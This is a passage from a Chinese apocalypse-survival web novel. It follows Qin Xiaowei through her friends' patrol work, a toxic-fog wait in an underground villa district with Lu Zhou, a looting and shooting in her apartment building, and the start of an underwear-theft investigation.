鹅蛋蘸辣椒面吃都有股腥味……虽然营养丰富，但她并不想委屈自己的舌头。 陆昼并不挑食，发现鹅蛋都挺新鲜的，就把它们都收下了。 之后，秦小薇就回家了。 一转眼一周过去了，段霞她们的培训也结束了，之后，她们就要正式开始工作了。 这几天，四人时常在群里聊天，秦小薇对她们的培训内容也有所了解。 除了最基础的体能训练，他们主要就是培训防暴叉之类的工具该如何使用，巡逻的时候遇到了暴徒该怎么应对……巡逻队毕竟属于编外成员，官方没给他们配枪，他们能用的武器，也就只有防爆叉、警棍之类的东西。 七天的时间太短，只能让他们学个大概，据范槿说，之后每周他们还要再去武警基地上两次课，直到教官确认他们都“合格”了，他们才能开始轮休。 现在找工作不容易，虽然每周都要培训有些麻烦，但并没有人抱怨。 可能是因为三人在基地的时候同住一间宿舍，她们被教官分去了同一支队伍，虽然她们不负责Q大附近的巡逻，但三人的工作地点距离公寓楼并不远。 以后，四人想要见面小聚，还是挺方便的。 工作的第一天，范槿三人都摩拳擦掌，一副要干出一番事业的模样，但很快，她们就被现实打击到了。 开工的前一天，她们在群里的发言是：以后宁市的治安，由我们来守护。 十分中二！ 但白天的工作结束之后，几人就开始吐槽自己像个居委会的大妈。 【范槿：我们巡逻队不是负责治安的吗？为什么丢鞋子的事也要来找我解决？我也不会查案抓小偷啊！】 【范槿：猫猫抓狂.jpg】 【肖琳琳：饭饭，你那都算好的了，至少还是抓小偷，我白天碰到一个儿媳妇和她婆婆因为一个鸡蛋分配不均吵架，然后过来找我调解……】 【段霞：我上午碰到一个大爷，把他儿媳妇给睡了，他儿子知道以后把他揍了一顿，腿都快打折了，然后那个大爷要我们把他儿子抓去劳改，他儿子说大爷强|奸他老婆，让我们抓那个大爷去劳改……】 【段霞：你们不知道，他们有多能吵，我当时真的觉得有几百只鸭子在我耳边叫！】 看着室友们在群里的发言，秦小薇也觉得巡逻队的工作和她想象中有点出入。 不过……这份工作吃瓜是真方便啊，吃到的还是第一手的现场瓜！ 【秦小薇：后续呢？】 【秦小薇：饭饭，鞋子找到了吗？小偷抓住了吗？】 【秦小薇：阿霞，你们最后是抓了那个大爷，还是抓了他儿子？】 【范槿：没有，那双鞋就几十块钱，还穿了一年多了，就算去报警，都不一定能立案。】 【段霞：两个人都送去工地劳改了。】 【肖琳琳：薇薇，是我的错觉吗？我怎么觉得我们累死累活的，但你好像看热闹看得很开心？】 【范槿：琳琳，不是你的错觉，她确实吃瓜吃得挺开心的！】 【段霞：薇薇，你知不知道？你这样是会被我们制裁的！】 【秦小薇：我错了。】 【秦小薇：小狗求饶.jpg】 和室友们插科打诨地聊了一会，又追问了一些细节，秦小薇吃饱了瓜，才心满意足地合上手机。 但晚上八九点的时候，群里的画风就又变了。 【范槿：啊啊啊啊好羡慕值夜班的队员，一小时抓了二十多个人，这也太爽了！】 【范槿：这才是我理想中巡逻队的工作状态！】 【范槿：[图片][图片][图片]】 秦小薇点开图片看了看，照片里，一群年龄不一的男人抱头蹲在地上，一副认罪伏法的模样。 【秦小薇：今晚过后，宁市的治安应该能好一点吧？】 【段霞：不止，工地建房的速度也能快一大截！】 【肖琳琳：好好的人不当，当老鼠，要我说，市政就该直接枪毙这些垃圾，让他们去工地干活都是便宜他们了！】 说到工地，秦小薇忽然想起来，之前陆昼过来找她的时候，让她挑了一套别墅，陆昼还说会有设计师联系她，和她确认装修的事，但她等了这么久，一直没等到人联系她，那套房子该不会是黄了吧？ 她想了想，拨通了陆昼的电话。 陆昼接通电话后，她直接开门见山道：“陆昼，你之前让我圈的那套房子还作数吧？” 陆昼：“作数，怎么了？” 秦小薇：“一直没人联系我，我还以为房子的事黄了……” 电话那头的人轻轻笑了一声：“房子还没建好，装修的事没那么快，别心急。” 秦小薇：“没心急，就随便问问。” 一转眼，时间又过了一周，因为巡逻队几乎是24小时在市区各处巡逻，除了部分偏远地区，市区的治安一下子好了许多。 有些人就算是想犯罪，也得掂量一下能不能承担得起后果。 毕竟要是被抓到了，他们是真的会把人送去工地上劳改。 普通人自己报名去工地干活，虽然没有工资，但包饭，等房子建好了，他们现在的劳动还可以抵房租。要是干累了，你休息一会，也没人会说你。 但劳改不一样，管理人员按照他们的身体情况，给每个人都定了KPI，让他们身体处于干完活之后累到完全不想动弹又不至于累出问题的状态……要是干不完活，管理人员就不让睡觉、吃饭。 用某些人的话来说，那日子过得就跟古代没人权的奴隶似的…… 也有家属在网上表达了不满，要求提高犯人的待遇，但现在是特殊时期，国内又接连经历了各种天灾，物资原本就不足。 官方非常硬气，甚至有市政的人公开表示，按照现在的法律，有些人干的事是可以直接枪毙的，市政现在还给他们提供食物、住的地方，完全是因为他们有价值，还能干活。 言外之意就是，要是犯人连劳改都不愿意，就直接去死吧！ 大部分网友都非常支持市政的做法，毕竟这几个月，很多普通人的日子也不好过，要是这些罪犯的待遇都能和他们一样，那真的会让人心理不平衡！ 之前半个月，一共出现了三次大雾，每次不到三个小时就散了，因为预警中心提前发了短信，社区又发了口罩，除了少部分出车祸的，目前，秦小薇还没听说有谁因为大雾出现肺病进医院。 这天早上，秦小薇像平时一样，吃完早饭，就去店里开门，准备营业。 但她在健身房待了没一会，就接到了陆昼的电话：“房子建好了，要不要一起去看看？方便你之后和设计师沟通……” 秦小薇对那套房子其实挺好奇的，便答应了。 陆昼：“好，我半个小时后来接你。” 半个小时后，秦小薇上了陆昼的吉普车，车里只有他一个人，她的视线落在他的腰部：“你的伤好了？能开车吗？” 陆昼：“多亏了你的鹅蛋。” 秦小薇别过脸避开他的视线：“呃……都二十多天了，你的伤养好了也很正常，你开车吧！” 房子在红浦区，那边靠近发电厂和自来水厂，以后房子建好了，就算供电供水出了问题，也容易处理，可以大大节约人力成本。 红浦区离公寓楼比较远，车子开了一个多小时才到红浦区。 附近很多工地，到处都是砖石沙子，路非常不好走，车子开了一段时间之后，他们便开始下车步行。 秦小薇看着附近的工地皱眉：“好像到处都差不多，你能找到地方吗？要不要开个导航？” 陆昼：“不用，我认识路。” 他似乎是对这边非常熟悉，走了一段之后，就带着秦小薇进入一条地下通道，地下通道里很黑，通道一路向下，两旁只有微弱的应急灯亮着光，秦小薇不太适应，便从“背包”里摸出之前夜跑用的照明灯别在胸前。 走了半个多小时后，眼前忽然变得“豁然开朗”，一栋栋别墅出现在她的视野内。 虽然身处地底，但周围的“天花板”上却亮着很多灯，把附近照得亮如白昼。 秦小薇：“进来一趟可真不容易。” 陆昼：“有电梯，之后可以坐电梯下来。” 他们先去了陆昼自己那套别墅，见陆昼和干活的工人聊得熟稔，秦小薇忍不住问他：“你们怎么这么熟？” 陆昼转头看了她一眼：“作为雇主，他们认识我，很奇怪吗？” 秦小薇：“雇主？这房子不是市政组织人建的吗？” 陆昼：“想什么呢！财政的经费那么紧张，哪里有钱建这么多别墅？这是我自己花钱买的地，工人也是我自己花钱找的……” 秦小薇：“……我还以为，这栋房子是预警中心部长的福利呢？” 陆昼摇头：“预警中心也分了房子，但只有一室一厅，太小了住不开，我没要。” 秦小薇：“……” 秦小薇：“这一片都是自建房？我那套也是？” 陆昼点头：“嗯，财政为了增加收入，卖了不少地出去，原本那边那一块没划进来的，现在也卖给别人建商场了。你的房子在那边，从这边走……” 走了一会，秦小薇发现了不对劲：“陆昼，咱俩的房子，为什么离得这么近？” 她明明记得，她圈房子的时候，选了个和他不同区的，为什么现在他俩成了前后门的邻居？ 陆昼的脸上不见半点心虚，他镇定自若道：“哦，我觉得住在你边上更方便一点，就换了地方。” 秦小薇：“……” 看到她脸上的表情，陆昼拉开两人之间的距离，补充道：“放心，我不止这一处房产，不会一直住在这里……” 想到这房子是他出钱建的，秦小薇闭了闭眼，忍住了想要揍人的冲动。 算了，以后再找机会和他“切磋”！ 两套别墅的房型是一样的，加上地下室，一共有五层，外面还带一个院子，和官方组织修建的房子相比，可以说是非常豪华了！ 为了方便之后和设计师沟通，秦小薇拿出手机，对着别墅各处拍了许多照片。 陆昼也没打扰她，他抱着手臂斜靠在大门口，安静等她跑上跑下拍照。 秦小薇检查了一下自己拍的照片和视频，冲着他开口道：“差不多了，可以回去了！” 陆昼：“嗯。” 他们原路返回，但快要离开地下通道的时候，秦小薇发现，前方的道路忽然变得模糊起来。 秦小薇皱眉：“外面是不是起雾了？” 陆昼点头：“有可能！咱们在这里待一会儿吧，等雾散了再出去……” “好！”秦小薇摸出口罩戴上。 他们往别墅的方向走了一段，找了个台阶坐下。 秦小薇原本以为，这场大雾会和之前一样，最多两三个小时就散了，但他们一直等到中午，饭点都过去了，外面的雾却一直没散。 秦小薇打开同城APP，网友们也都在发帖抱怨这场大雾持续太久了，他们想买能量饼干都没法出门…… 第87章 第87章人工降雨（双更合一）…… 秦小薇戳了下身边正盯着手机屏幕的男人：“陆昼,你真的不记得这场雾什么时候散吗？” 陆昼转头看了她一眼，眉眼间全是无奈：“你还记得十年前的今天中午吃了什么吗？” 秦小薇语塞，片刻之后,她小声反驳道：“这又不一样！这是极端天气！很少见的！” 陆昼：“今年出现的极端天气还少吗？起雾一时半会又死不了人,对当时的我来说,和正常天气差不多……” 秦小薇：“……” 她揉了揉自己的胃，有点饿了。 她四处看了看,可能是因为外面起大雾了,视线受阻，外面的人都暂停了户外活动,他们在这待了好几个小时，一直没有其他人出现，她仰头看了下头顶的水泥通道,问陆昼：“这里没有监控吧？” 陆昼：“应该还没装,怎么了？” 秦小薇：“有点饿了，搞点吃的……” 说着，她直接从仓库里拿出一盒米饭和几道菜,摆在身后的台阶上，换了个姿势,开始大快朵颐。 陆昼收起手机,戳了下她的胳膊：“给我一份。” 秦小薇翻了下仓库，给他拿了一份他地震的时候给自己送的便当。 因为是从餐盒里倒进打包盒里的，原本摆盘精致的便当此刻失了几分美感,但还是热气腾腾的，依旧是刚出锅时的味道。 陆昼坐在台阶上，一口口吃着打包盒里的东西：“你这个仓库用来打包饭菜，真的很方便！” “那还用你说……” 吃完饭之后,秦小薇收起餐盒和盘子，坐在台阶上，继续上网。 两人之间一点交流都没有，气氛十分沉默，但是两人都不觉得尴尬，都在低头干自己的事。 忽然，秦小薇从地上站了起来：“走吧！网上说雾散了！” 陆昼却依旧坐在台阶上，丝毫没有起身的意思：“再等等。” 秦小薇催促道：“我回去还有事呢！你搞快点！” 陆昼：“气象局在人工降雨，大雾不一定是真的散了，现在回去，咱们可能会堵在路上……” 秦小薇重新坐了下来，脸上全是怀疑：“人工降雨？有用吗？” 之前极端高温天气的时候，各地为了缓解旱情，也进行过多次人工降雨作业，但结果都……那段时间，气象局在普通人眼里都快变成一个笑话了。 陆昼摇头：“不知道，但专家说可以试试，利用雨水让空气中飘浮的有害物质进入地面，今天刚好天气合适……” 秦小薇：“……” 他换了姿势，手机也从竖着变成了横着，两条长腿一条伸直，一条半曲着踩在台阶上，姿态忽然变得放松起来。 听到熟悉的音乐声，秦小薇的脑袋往他的方向倾斜了一下，她有些惊讶：“哎，你也玩这个游戏？” 陆昼：“嗯。” 看着他流畅的操作，秦小薇更惊讶了：“没想到你操作还挺溜……我还以为你平时就只会处理公务……” 之前找他，他十次有七次都在处理工作，之前地震的时候，他们开车一起出门，他更是一路上都在接电话，秦小薇还以为，拉布拉多的“工作狂”属性，是跟着他学的。 陆昼手上的动作不停：“我大学是学计算机的，末世前还和朋友一起开了家游戏公司，不过现在黄了……” 秦小薇回忆了一下之前在网上搜索的关于他的资料，他好像之前还卖出过一款游戏。 他现在的身体年龄，也不过是个刚刚毕业的大学生。 这么一看，他会打游戏好像也挺正常的…… 秦小薇晃了晃手机：“要不要一起组个队？” 陆昼没有拒绝：“等我结束这一局。” 两人的操作都很不错，一起玩游戏的时候，竟然意外地很合得来。 秦小薇觉得，她对陆昼的印象又要刷新了…… 他们在通道里坐了大半天，外面的大雾才彻底散去，也不知道雾气是自己散的，还是被人工降雨打下来的…… 一场大雨过后，外面的路面变得湿润又泥泞，离开通道后，秦小薇只走了一小段路，运动鞋上就沾了一圈厚厚的泥，变得十分沉重。 鞋子踩在泥地里，差点拔不出来…… 她忍不住抱怨道：“早知道今天是这种情况，我出门的时候就换双靴子了……” 陆昼没有说话，脚步依旧平稳，似乎是已经习惯了这样“恶劣”的环境。 当天下午，陆昼安排的设计师就和她对接了，和她商量了装修的事，秦小薇也没客气，对着自己之前拍的照片，把自己的想法一一说了。 就算设计师团队效率很高，双方依旧沟通了十来天，改了好几遍设计方案，才把最终的方案定下来。 她和陆昼的房子离得很近，陆昼说他会安排人盯 着装修的事，红浦区离公寓楼很远，一来一回要接近三个小时，秦小薇也就没和之前装修健身房的时候一样全程盯着，设计方案定下来之后，她就没再管了。 她相信陆昼的钞能力，房子的装修效果，应该会和她预想中差不多…… 这小半个月，宁市虽然还算太平，但国内其他城市的市民，却频频收到预警短信。 沙尘暴预警、飓风预警、海啸预警…… 用网友的话来说就是别以为自己躲过了一场灾难就万事大吉了，大自然总会用现实告诉你，它有一万种方法，拿走你的小命…… 但因为市政的积极应对，各地的市民也有了充足的应对灾难的经验，接连的天灾，并没有造成太大的人员伤亡。 就是很多普通人又损失了不少财物…… 经历了这么多次天灾，现在普通人已经形成了固定思维，应对天灾的最好方法就是听指挥……这样至少有百分之九十的概率能保住小命。 当然，国内也有些特别幸运的城市，躲过了各种天灾，市民们现在依旧在正常地生产生活，不过那都是极少数，大部分普通人，都被各种连绵不断的天灾折磨得心力交瘁。 这天中午，秦小薇正准备回去吃中饭，却听到外面忽然传来一阵嘈杂声。 她皱了皱眉，停下脚步，问一直守在门口的前台：“外面出什么事了？” 店里的人面面相觑，纷纷摇头。 秦小薇想了想，顺着声音找了出去，但出门后没多久，她就被堵在六楼的楼梯口了。 楼梯口堵了很多人，全都是围观看热闹的。 秦小薇挤进人群，上了几层台阶，才发现，七楼的楼梯间里也堵满了人，她懒得往上挤了，便询问身边一个有些眼熟的阿姨：“阿姨，楼上出什么事了？” 那位阿姨有些幸灾乐祸地开口道：“九楼那家，犯了众怒，有人把他家锁给砸了，后面好多人冲进他家，把他家给抢了……” 她还没说完，边上就有人接话了：“要我说，也是他们活该，大家现在开火都困难，天天只能啃能量饼干，就他家，顿顿吃肉，这谁不眼红？” 同样顿顿躲在空间里开荤的秦小薇：“……” 另一人也义愤填膺地开口道：“就是！我昨天还看到他家保镖搬了几筐海鲜上楼，说是收到了空运过来的海鲜，要包海胆饺子……我去敲门，想借点肉，给我儿子开个荤，尝尝肉味，结果他家连门都不开！” “你们说，我现在上楼，能弄到好东西吗？” “小心被送去劳改，他们家能量大着呢！之前高温的时候，他们家有个亲戚失踪了，警察连着跑来了好几次，挨个敲门做笔录，死人了查得都没那么细……” “你们后面搬来的不知道，之前有个人想害他们，把电闸给拉了，结果没多久就被送进去了，现在人是死是活都不知道。” “……” 听着围观群众的聊天声，秦小薇的眉头皱了起来，她一直都知道很多人都有仇富心理，但恨成这样，大白天直接冲进邻居家，把人家家给抢了，属实是有点超出她的预料…… 人家就算再有钱，也是他们自己挣的，就算再羡慕再眼红，也不能直接冲进人家家里抢吧？ 她挤出人群，去走廊里找了个人少一点的地方，给陆昼打了个电话。 还不等电话那边的人说话，她就迅速开口道：“奚川家被人抢了，他和保镖还有李阿姨，都被堵在屋里了，现在还不知道楼上什么情况……” 她的话还没说完，就听到了一阵有些耳熟的“鞭炮声”，之前在射击馆花了不少钱，秦小薇瞬间分辨出那是什么声音。 她眉头皱了皱，压低声音问陆昼：“他家的保镖配枪了？” 听到她的问话，电话那头的人沉默了几秒，片刻之后，他丢下一句“我马上过来”，就挂断了电话。 同时，楼上的骚乱也传了下来。 有人在楼上大喊“九楼的有枪，死人了，快跑”。 枪支在国内属于管制物品，很多人都只远远的在警察身上或是电视里看到过。 普通人对热武器有着天然的敬畏，乍然听到奚川他们家有枪，保镖还开枪了，围观的众人一下子慌了，他们生怕自己受到牵连，或是保镖是个变态，开启无差别扫射模式……纷纷开始往楼道里挤。 但楼梯间里看热闹的人太多了，他们当中有人往楼上挤，有人往楼下挤，一时间两群人形成了冲突，有人直接摔倒了…… 听着楼梯间里传出的惨叫声，秦小薇心有余悸。 还好她刚刚提前出来了！要不然现在她也是他们中的一员！ 看来以后看热闹还得注意安全，要是发生了踩踏事件，受伤了就得不偿失了！ 混乱过后，有个中年男人倒在楼梯上，身上全是脚印，站都站不起来，只能发出一阵痛苦的呻|吟…… 有退到楼道里的邻居帮忙打了急救电话，但是并没有人过去帮忙把人扶起来——之前下楼的时候，混乱中，有不少人都踩了他，他们担心这个时候过去帮忙，会被“讹”上。 秦小薇想了想，也没回空间里吃中饭，她拿了包能量饼干出来，坐在健身房门口，一边吃中饭，一边关注外面的情况。 在陆昼赶到之前，警察、巡逻队、救护车接连赶了过来。 业主群里有人偷偷拍了照片，转播现场的情况，奚川家原本豪华的客厅，变得空空荡荡，就连墙上挂的窗帘，都被人拆走了。 奚川一行人看起来十分狼狈，尤其是李阿姨，她的头上、脸上全是血，就连头皮，都被人扯掉了一块，最后是被人抬上救护车的。 至于开枪的保镖，则是被警察押走的，除了保镖和奚川，九楼还有不少被奚川和保镖指认的人也被抓走了，因为要抓的人太多了，警车装不下，警察甚至还叫了其他分局的警车过来支援…… 秦小薇站在六楼，看着渐渐变小的警车和救护车，想到了陆昼寄存在她空间里的那些军火，眼中闪过一丝担忧。 奚川的枪，很可能是陆昼帮忙弄的，陆昼不会被查吧？ 但只过了一会，她就放下了这件事。 发现就发现吧！她手上还有个农场空间，就算真的被官方发现了她和陆昼囤的那些物资，她大概率也不会有什么事…… 陆昼来的时候，警车连车尾气都消失了，他上楼后，先去了趟九楼，之后又来了六楼，和秦小薇了解情况…… 秦小薇把人带回自己的公寓，让他看业主群的聊天记录，又把事情的经过大概和他说了说。 陆昼的表情一直很平静，看不出一丝着急，听完她的讲述后，他在沙发上坐下了，双腿交叠，拿出手机，拨通了一个电话。 陆昼：“嗯，我到了……情况不严重，阿川没受伤……我知道了……好，我尽快……” 之后，他又接连打了好几个电话，听电话的内容，秦小薇猜测，他应该是在找人帮忙疏通关系。 他打电话的时候，一直试图把奚川从这件事里摘出去。 等他挂断了电话，秦小薇才问他：“不会查到你头上吧？” 只一个眼神，陆昼就明白了她的言外之意，他摇了摇 头：“对我的实力有点自信，我还不至于因为这种事翻车……我把枪给出去的时候，就做好最坏的打算了。” 秦小薇瞪大了眼睛，这还不算大事吗？ 这栋公寓楼，加上地下停车场都快三十层了，塞了好几千人，奚川的保镖当场开枪伤人，来了那么多辆警车，抓了那么多人，闹得这么大，这也能压下去？ 很快，陆昼就用实际行动告诉她，就算事情闹得很大，还在同城APP上发酵得很厉害，奚川依旧能全身而退。 傍晚，他就坐着警车回来了，家里被抢的东西也都被追回来了，不过奚川都扔了，他直接买了新的，只过了一个晚上，他就把家里重新布置了一遍。 除此之外，他身边保镖的数量也增加了。 秦小薇：“……” 晚上的时候，三个室友还在群里和她聊这件事。 【范槿：薇薇，听说你们公寓楼有人对着邻居开枪，还死了五个人，是不是真的啊？】 【秦小薇：……伤到的不是要害部位，应该没死人，上救护车的时候，人都还活着。】 【范槿：那也很危险！薇薇，你平时一定要小心！】 【秦小薇：开枪的是之前租充气船给我的邻居的保镖，他开枪是有理由的，有一群人冲进他雇主家抢雇主家的东西，还把家里阿姨的头皮扯掉了一块……】 【肖琳琳：啊？最近宁市的治安不是变好了吗？怎么还会有这样的事发生？】 【秦小薇：不知道，可能是个例？】 【段霞：确实是个例，我昨天值了一晚上夜班，连个蚊子都没抓到……队长让我们扩大巡逻范围，下次去郊区转一转，看看能不能抓点人冲冲业绩。】 【范槿：不知道我什么时候能拿枪？前天巡逻的时候碰到我爸了，他竟然嘲笑我，说我拿着防暴叉工作的时候，像猪八戒拿着九齿钉耙。】 【范槿：我有时候真的怀疑自己是不是亲生的……】 【范槿：沧桑.jpg】 可能是因为事情闹得太大，同城APP上有很多网友在讨论这件事，对此，市政还专门出了个公告解释这件事。 大概意思就是，开枪的那位保镖是个军迷，他之前用的那支枪是用仿真模型枪改装的，因为是从国外走私回来的仿真模型枪，所以具有一定的杀伤力。 当时他受到了攻击，一时情急，才会把模型枪拿出来攻击人。 目前，模型枪已经被没收了，那位持枪的保镖也被送去劳改了…… 之后，他会对受伤的人员进行赔偿，并负责他们的医药费，当然，那些参与了入室抢劫的人也会受到相应的处罚。 秦小薇：“……” 那阵“鞭炮声”，她听得非常真切，绝对是真枪！ 没想到官方出的公告里，竟然说是模型枪！ 但可能是因为市政这一年来，对于各种灾难的响应都很及时，干的事也算靠谱，再加上现场并没有流出特别高清的细节图，公告发出来之后，网上竟然没什么网友怀疑公告的真假。 这件事似乎就这样平息下去了…… 这么大的事都能压下去，秦小薇对陆昼和奚川他们在宁市的势力，有了更加清晰的认知。 这件事过后，秦小薇发现，楼里的人一下子对她“客气”了许多，平时下楼的时候碰到，还会主动和她打招呼。 秦小薇：“……”她这算是沾了奚川的光？狐假虎威了一把？ 这天晚上，秦小薇锁上健身房的大门后，忽然接到了范槿的电话。 秦小薇：“喂，饭饭，怎么忽然给我打电话？” 范槿佯装生气：“没事就不能找你吗？” 秦小薇笑道：“当然能！不过我猜，你现在应该是遇到了烦心事，或是有事找我帮忙……” 范槿：“你听出来啦？其实，我是有一个情感问题，要和你咨询……” 秦小薇回到公寓里，找了个凳子坐下，专心和她打电话：“仔细说说！” 范槿：“就是汪弘，我之前那个相亲对象，我们不是在一起了吗？但是最近，我们发生了一点分歧，他和他家里人不喜欢我在巡逻队工作，昨天他让我把工作辞了，以后结婚了专心照顾家里……” “我不愿意，就和他吵了一架，我回家和我爸妈说这件事，我爸就说，他能养我，工作辞了就辞了，我妈就觉得这个男的不行，连女朋友的事业都容不下，让我和他分手，然后我爸妈也吵了起来。” “我现在就有点纠结，要不要结束这段关系……说实话，我也不是很喜欢他，每次和他一起约会，我都觉得好尴尬，和他牵手，心跳还没我看粉丝评论的时候快……” 听完范槿的讲述，秦小薇有些意外范爸爸和范妈妈截然不同的态度，毕竟范槿还没毕业的时候，他们就张罗着给她相亲，急着把她嫁出去。 现在好不容易遇到一个“金龟婿”，她还以为范爸爸和范妈妈都会把抓住这个金龟婿放在第一位，其他的事情都往后排呢！ 不过，他们家一直是女主外男主内，他们有这样的想法，似乎也很正常。 秦小薇想了想：“我是支持你分手的，你们才刚认识，按理说现在应该算热恋期，他就这样，以后肯定会更过分……而且，男人现在说我养你，以后感情淡了，就会变成我养的你……” 虽然范槿想利用自己的婚姻交换更好的生活条件，但秦小薇觉得，那也要看对象，对方要是人品不行，那还是赶紧跑吧！ 范槿：“唉，我也是这么想的！不过这还是我的初恋，就这样结束了，好潦草啊！” 秦小薇安慰她：“谁这辈子还没遇到过几个渣男呢？旧的不去，新的不来！” 范槿被她逗笑：“薇薇，这句话是这么用的吗？” 之后，两人又聊了一会儿八卦，直到彻底把范槿逗开心，秦小薇才挂断了电话，起身去空间里吃晚饭。 第88章 第88章内衣贼（双更合一）…… 过了几天,李阿姨也从医院回来了，她头上包着纱布，缺失的那块头皮又被医生缝了回去,据说头皮很快就能长好,除了以后头上会留一圈疤,并不会留下其他的后遗症。 但活生生被人扯掉一块头皮这种事，也足够给她留下一辈子的心理阴影了。 除了她刚出院回来的那天,秦小薇在楼下碰到了她,之后一连许多天，秦小薇都没再碰到她,每次有人送物资过来，也是几个拿着武器的保镖一起下楼去取，根本就没让她出面。 就连奚川家的大门,也换成了更结实、更厚重的实心金属门,指纹锁也换了——显然，之前那场入室抢劫，让他们所有人都心有余悸。 之前参与了入室抢劫的当事人都进去了,楼里其他人知道的信息都很零散，这让秦小薇吃瓜都吃不全,某天,陆昼过来找她拿物资的时候，秦小薇和他打听了一下事情的经过，陆昼也没隐瞒,把警察查到的东西详细说了一遍。 和秦小薇这种在空间里吃个肉包子都要刷牙换衣服、生怕被其他人发现的低调不同，奚川他们在公寓楼里非常高调，有什么好东西送过来了，也从来都不避着人。 但要是有人上门借东西或是寻求帮助,他们是一律不予理会的。 他们之前有过太多经验，知道一旦开了这个口子，之后就会不停地有人找上来占便宜。 再加上现在楼里的住户越来越多，对于上门求助的人，他们甚至都不会开门。 时间一长，他们就难免给人自私、冷漠的印象。 这次的导火索是一对新搬来的母子俩，那位妈妈有心脏病，最近病情日益严重，水肿、呼吸困难把她折磨得痛苦不堪……去医疗点检查过后，医生说病人需要做手术搭支架救命。 现在医疗点虽然一直在接收病人，但某些医疗物资，依旧非常紧缺，比如说手术需要的心脏支架。 她儿子偶然知道奚川有朋友是做相关产业的，就笃信奚川可以帮忙，便在他家门口堵人、给奚川下跪……只求奚川能救他妈妈一命。 奚川并没有心软，直接让保镖把人“请”走了，没过多久，那位妈妈就因为心脏病去世了。 那个儿子是个孝子，他从小就失去了爸爸，是他妈妈一个人拖着病弱的身体把他拉扯大的，现在他长大了，不仅没让他妈妈跟着享福，反而让她在这栋嘈杂的公寓楼非常不体面地死去…… 小伙子接受不了，最后走进了死胡同，把他妈妈的死归罪到奚川头上，这才鼓动公寓楼里其他看奚川不顺眼的人，策划了这场入室抢劫。 听陆昼讲到这里，秦小薇忍不住打断了他：“现在外面抓得那么严，楼里那些人都是傻子吗？被鼓动几句，就跟着他闯进去了……” 陆昼：“那家伙说他就是想搞奚川，结束之后他会去自首，一个人承担所有的罪名。” 秦小薇：“……”这也有人信，他们是当警察是傻子吗？ 陆昼：“他当时是奔着弄死奚川去的，进屋的时候手里还拿着一把西瓜刀，要不是保镖反应快，奚川身上就要多一个窟窿了……” 秦小薇：“……我觉得公寓楼对他来说真的挺危险的，他为什么不搬走？以他的条件，想搬去‘富人区’应该也没多难吧？” 陆昼的声音里带了一丝无奈：“他和家里人矛盾比较深……” 陆昼没有多说奚川的家事，秦小薇却从他短短一句话里脑补了一出豪门狗血大戏…… 秦小薇又打听道：“奚川真的有朋友生产支架吗？” 陆昼摇头：“只是从事医疗行业。” 不过他的财力，真要是想帮忙，弄一个支架也不难，就是要搭点人情，再多花点钱罢了……按照当时的情况，他拒绝帮忙其实很正常。 陆昼拿到了物资，就准备离开了。 开门前，他的脚步停顿了一下，忽然转头看向秦小薇：“隔壁省会迁一批人过来，宁市这段时间可能又要乱起来了，你注意安全，尽量少出门……” 秦小薇：“啊？迁人过来？他们来了住哪？” 虽然工地上每天都有数十万人同时开工，但房子建好之后，要放置一段时间，进行水化反应，强度才够，才能进行敏感装修，否则房屋的强度可能会下降，墙面可能会裂开。 所以现在宁市的住房情况依旧十分紧张，大部分普通人，依旧挤在地震后搭的简易安全屋里，很多夫妇，想要进行夫妻生活，都得去专门的“旅馆”。 陆昼：“之前淘汰下来了一批帐篷，还在仓库里，总归会有地方安置他们……” 秦小薇忍不住吐槽道：“那帐篷最多挡点风，现在天气这么冷，睡在里面，很容易冻出毛病吧？就这条件，他们竟然也敢往宁市迁移？” 台风天结束之后，宁市的最高温一直都是个位数，温度不算特别低，但还是挺冷的，不做好保暖，很容易冻感冒。 她之前在网上看到过其他城市普通市民的迁移，为了提高效率，他们转移的时候，每个人就只准带一个行李箱和一个背包。 这种情况下，肯定带不了厚被子……这不是纯纯过来挨冻吗？ 陆昼解释道：“自从人工降雨和人工降雪降低了雾气中有害物质的浓度后，Q省现在就成了香饽饽……毕竟和其他地方相比，咱们这未来几个月还算太平。” 这段时间，Q省的专家一直致力于用科技手段解决大雾的问题，效果也是有的，之前他们站在雾里，可能连自己的手都看不清。 但现在，能隐隐约约看到两三米之外的人了，就像是电视剧里用干冰营造出来的“仙界”，一整个仙气袅袅，虽然出行还是不方便，但稍微注意一点，正常工作还是没问题的…… 秦小薇想到了公寓楼现在的住宿环境，一下子沉默了。 就这都能变成香饽饽……那外面的情况得多差啊？ 不过她觉得，有之前的经验，再加上巡逻队现在24小时巡逻，就算稍微乱一阵，治安应该也能很快恢复。 她就没把这件事放在心上。 健身房的客流渐渐稳定下来了，秦小薇每天都很忙，连带着练拳的时间都变少了，新招的几个兼职员工有些不够用，秦小薇便去Q大的论坛上，又招了两个人。 Q大已经“开学”了，论坛里多了不少新注册的学弟学妹，每天都有很多人发帖，十分热闹。 Q大的教室、寝室、办公楼，现在还被宁市的普通市民占着，今年新录取的学弟学妹都没来学校报到，而是在网上上网课，因为各地天灾频发，很多学生网课上着上着，就“消失”了，辅导员也联系不上人。 今年Q大的招生简章砍掉了不少专业，但也有专业扩招了，比如医学、农学专业，总的招生人数，并没有比往届减少多少…… 体院大部分专业都被取消了，秦小薇新招的两个兼职员工，都是她的学姐。 新员工到岗之后，秦小薇多了不少空闲时间，虽然偶尔还是要在健身房里帮忙，但至少不用从早站到晚了…… 这天健身房关门之后，秦小薇拿出手机，准备打会游戏，工作群里却有消息弹了出来。 今天白天，员工们在健身房上班的时候，她们晒在阳台防盗窗上的内衣又少了两件。 看着群里的消息，秦小薇的表情严肃起来。 健身房的几个教练，不知怎么被变态盯上了，白天上班的时候，丢了好几次内衣。 刚开始的时候，她们还以为是衣服被风吹跑了，但几人一“对帐”，发现丢的都是内衣，这才察觉到不对劲。 秦小薇知道这件事后，直接在阳台上安了隐蔽的高清摄像头。 秦小薇觉得，偷内衣的人对教练们的作息这么了解，专挑她们不在家的时候偷，这事肯定是楼里的人干的…… 【秦小薇：监控拍到那个贼的脸了吗？】 她等了好一会儿，但群里一直没人回复她，秦小薇想了想，直接上楼去了员工宿舍。 她上去的时候，教练们正围在笔记本电脑前看监控。 监控时间太长，她们暂时还不知道监控有没有拍到那个内衣大盗的脸。 秦小薇进去以后，教练们自觉给她让了半个凳子，让她坐在边上一起看监控。 一个小时后，众人终于看到了关键的地方。 “就是这里！调回去看一下，看看有没有拍到那人的脸……” “他怎么一直低着头？他这身衣服，是不是有点眼熟？” “好像是那个什么……什么的安装师傅？” “是跃能安装师傅的统一制服！” “这个角度拍到脸了，把进度条往回拉一点！” “……” 